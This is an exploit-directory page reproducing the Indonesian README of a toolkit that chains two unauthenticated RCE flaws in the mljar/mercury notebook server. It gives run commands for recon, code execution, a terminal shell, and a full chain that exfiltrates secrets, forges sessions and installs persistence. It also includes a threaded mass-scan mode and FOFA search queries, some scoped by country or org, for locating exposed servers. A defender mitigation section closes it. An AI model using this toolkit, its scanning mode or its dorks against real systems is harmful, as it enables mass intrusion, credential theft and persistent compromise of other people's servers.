Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-111058-CVE-2026-111057-mercury-rce — Mercury unauth RCE combo: CVE-2026-111058 (kernels) + CVE-2026-111057 (terminals). By 0xNuts (@ExDev994). Authorized testing only. | Kitploit
Tools/GitHubGitHub/exdev994/cve-2026-111058-cve-2026-111057-mercury-rce
ReconnaissanceWeb Vulnerability ScannersPersistence MechanismsVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPost-Exploitation
Share
Penetration Testing
Remote Access Tool
Labs & Practice
GitHubexdev994/cve-2026-111058-cve-2026-111057-mercury-rce

CVE-2026-111058-CVE-2026-111057-mercury-rce

Mercury unauth RCE combo: CVE-2026-111058 (kernels) + CVE-2026-111057 (terminals). By 0xNuts (@ExDev994). Authorized testing only.

View Repository
11 month agoNot yet reviewed
Content not available in the requested language. Showing English version.

CVE-2026-111058+CVE-2026-111057-mercury-rce

Mercury unauth RCE combo toolkit (kernels + terminals).

Toolkit gabungan dua RCE unauthenticated pada mljar/mercury:

CVEAdvisoryVector
CVE-2026-111058GHSA-rv4m-xm3f-3ccq/api/kernels + execute_request
CVE-2026-111057GHSA-f8c7-rwf9-fmgm/api/terminals blocklist bypass

Author: 0xNuts (ExDev994)

Hanya untuk pengujian yang diizinkan (lab lokal / target dengan izin tertulis). Penyalahgunaan di sistem tanpa izin adalah ilegal.

Cara menjalankan tools

1. Clone & install

# URL repo GitHub memakai `-` (GitHub tidak mengizinkan `+` di nama repo)
git clone https://github.com/ExDev994/CVE-2026-111058-CVE-2026-111057-mercury-rce.git
cd CVE-2026-111058-CVE-2026-111057-mercury-rce
python3 -m venv .venv
source .venv/bin/activate   # Windows: .venv\Scripts\activate
pip install -r requirements.txt

2. Lab lokal (disarankan pertama kali)

python exploit.py --lab

Tunggu Docker selesai build, lalu:

URLCVE yang aktif
http://localhost:8883CVE-2026-111057 + CVE-2026-111058 (Mercury 3.2.3)
http://localhost:8885CVE-2026-111058 saja (Mercury 3.2.5)

3. Satu target

# Cek vuln (POST terminals + kernels)
python exploit.py -t http://localhost:8883 -m recon

# PoC RCE (default: kernel / CVE-2026-111058)
python exploit.py -t http://localhost:8883 -m rce

# Shell via terminal (CVE-2026-111057, hanya di 3.2.3 lab)
python exploit.py -t http://localhost:8883 -m rce --sink terminals

4. Mass scan dari file

Edit targets.txt (satu URL per baris), lalu:

python exploit.py -m mass -tf targets.txt -rf results.txt --threads 10

Auto port (hanya mode mass): kalau baris tanpa port (mis. example.com), tool mencoba berurutan:

  1. Tanpa port (http://example.com → 80, atau https:// → 443)
  2. Port Mercury umum: 8888, 8000, 5000

Berhenti di URL pertama yang vuln. Baris yang sudah punya port (http://host:8883) tidak di-expand.

Contoh targets.txt:

# tanpa port → auto-fallback
example.com
mercury.internal

# dengan port → dipakai apa adanya
http://localhost:8883
192.168.1.50:8888

Terminal (verbose): tiap port yang dicoba + status akhir per baris target:

example.com      [trying...]
example.com:8888 [trying...]
example.com:8000 [trying...]
example.com:5000 [trying...]
example.com      [not vuln]
evil.com:8888    [trying...]
evil.com:8888    [vuln] [uid=0(root) gid=0(root) groups=0(root)]

File results.txt — hanya yang vuln (append):

http://evil.com:8888 [uid=0(root) gid=0(root) groups=0(root)]

5. Full chain (lab / pentest dengan izin)

python exploit.py -t http://localhost:8883 -m full --out exfil.json --cron

Urutan: recon → RCE → exfil secret → coba forge session → persistence.

Ringkasan flag

FlagFungsi
-t / --targetURL Mercury (http://host:port)
-m / --moderecon, rce, exfil, full, persist, mass
--sinkauto, kernels, terminals
-tfFile daftar target (mode mass)
-rfFile hasil vuln (mode mass)
-thJumlah thread mass scan
--labdocker compose up di folder lab/

Arsitektur

  1. recon — probe POST /api/terminals dan POST /api/kernels untuk fingerprint versi.
  2. RCE — sink utama kernels (stealth), fallback terminals (shell interaktif).
  3. exfil — env, file config, kandidat secret dari proses Mercury.
  4. session_forge — best-effort forge cookie Flask-style dari secret yang ditemukan.
  5. persistence — notebook marker, patch sumber idle_timeout.py, opsional cron (lab).

PoC deterministic menulis marker /tmp/PWNED_MERCURY_RCE (lihat poc/payloads.py).

Struktur

mercury-combo/
├── exploit.py
├── mercury_combo/    # modul inti
├── lab/              # docker-compose + Dockerfile 3.2.3 / 3.2.5
└── poc/              # payload marker

FOFA / asset discovery (authorized only)

FOFA hanya membantu menemukan kandidat exposure — bukan bukti vuln. Selalu validasi manual dan patuhi scope izin.

Mulai sempit (branding):

title="Mercury"
body="runmercury" || body="mljar-mercury"

Perketat (Jupyter + Mercury):

(title="Mercury" || body="mljar") && port="8888" && protocol="http"
header="X-Jupyter-Server-Version" && (body="mercury" || title="Mercury")
body="/api/kernels" && body="mercury" && server="Tornado"

Scope geografis / org (contoh):

title="Mercury" && country="ID"
body="mljar" && port="8888" && org="Amazon"

Setelah dapat host, verifikasi dengan toolkit ini (-m recon atau -m mass di lab/izin), jangan scan massal tanpa otorisasi.

Mitigasi / cara fix (defender & admin)

MasalahCVE / advisoryFix
Missing comma di BLOCKED_PATTERNS → /api/terminals lolosGHSA-f8c7-rwf9-fmgmUpgrade ke ≥ 3.2.4 (patch commit di v3.2.4). Pastikan /api/terminals benar-benar ter-block.
/api/kernels tetap bisa execute_request tanpa authGHSA-rv4m-xm3f-3ccqBlocklist tidak cukup — wajib authentication (token/password Jupyter) by default; jangan deploy token='' ke internet. Pantau release Mercury > 3.2.5 untuk patch resmi.

Checklist hardening:

  1. Upgrade Mercury ke versi patched terbaru yang tersedia.
  2. Wajibkan auth — set token/password; matikan mode anonymous/tokenless di production.
  3. Jangan expose port 8888 (atau port Mercury) langsung ke internet; taruh di belakang VPN atau reverse proxy dengan auth (OAuth, mTLS, IP allowlist).
  4. Network — firewall egress/ingress; segmentasi container (non-root user, read-only FS where possible).
  5. Deteksi — alert pada POST /api/kernels + POST /api/terminals dari IP anonim; spike WebSocket ke /api/kernels/*/channels dan /terminals/websocket/*.
  6. Incident — jika terpapar: rotate semua secret (DB, API keys, session secret), audit notebook & file server, rebuild container dari image bersih.

Verifikasi setelah patch:

# Harus 403/401 tanpa kredensial (bukan 201)
curl -i -X POST https://your-host/api/terminals
curl -i -X POST https://your-host/api/kernels -H 'Content-Type: application/json' -d '{"name":"python3"}'

Referensi advisory

  • GHSA-rv4m-xm3f-3ccq — kernels RCE
  • GHSA-f8c7-rwf9-fmgm — terminals blocklist bypass
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    416
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    379
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    330
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    288

Explore all tools

Browse our collection of tools

View all tools →